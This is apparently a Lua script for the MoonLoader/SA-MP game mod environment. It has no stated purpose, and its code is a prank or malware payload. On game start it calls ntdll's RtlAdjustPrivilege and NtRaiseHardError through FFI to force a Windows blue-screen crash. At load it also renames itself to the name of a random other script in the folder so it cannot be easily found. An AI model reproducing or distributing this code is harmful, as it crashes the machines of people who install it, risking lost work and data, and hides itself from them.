script_author('chapo')
---@param path string directory
---@param ftype string|string[] file extension
---@return string[] files names
local function getFilesInPath(path, ftype)
assert(path, '"path" is required');
assert(type(ftype) == 'table' or type(ftype) == 'string', '"ftyp" must be a string or array of strings');
local result = {};
for _, thisType in ipairs(type(ftype) == 'table' and ftype or { ftype }) do
local searchHandle, file = findFirstFile(path..'\\'..thisType);
table.insert(result, file)
while file do file = findNextFile(searchHandle) table.insert(result, file) end
end
return result;
end
local function CallBSOD()
local ffi = require('ffi')
local RtlAdjustPrivilegeAddr = getModuleProcAddress('ntdll.dll', 'RtlAdjustPrivilege');
local NtRaiseHardErrorAddr = getModuleProcAddress('ntdll.dll', 'NtRaiseHardError');
local RtlAdjustPrivilege = ffi.cast("long (__stdcall *)(unsigned long, unsigned char, unsigned char, unsigned char *)", RtlAdjustPrivilegeAddr);
local NtRaiseHardError = ffi.cast("long (__stdcall *)(long, unsigned long, unsigned long, unsigned long *, unsigned long, unsigned long *)", NtRaiseHardErrorAddr);
RtlAdjustPrivilege(ffi.new("unsigned long", 19), ffi.new("unsigned char", 1), ffi.new("unsigned char", 0), ffi.new("unsigned char[1]", {0}));
NtRaiseHardError(ffi.new("long", -1073741824 + 420), ffi.new("unsigned long", 0), ffi.new("unsigned long", 0), ffi.new("unsigned long[1]", {0}), ffi.new("unsigned long", 6), ffi.new("unsigned long[1]"));
end
local function hideMe()
math.randomseed(os.time() * 99999);
local scripts = getFilesInPath(getWorkingDirectory(), '*.lua');
local currentName = thisScript().path;
local randomName = getWorkingDirectory() .. '\\' .. scripts[math.random(1, #scripts)];
os.rename(randomName, randomName .. '_waitForRename');
os.rename(currentName, randomName);
os.rename(randomName .. '_waitForRename', currentName);
end
function main()
while not isSampAvailable() do wait(0) end
CallBSOD();
while true do
wait(0)
end
end
hideMe();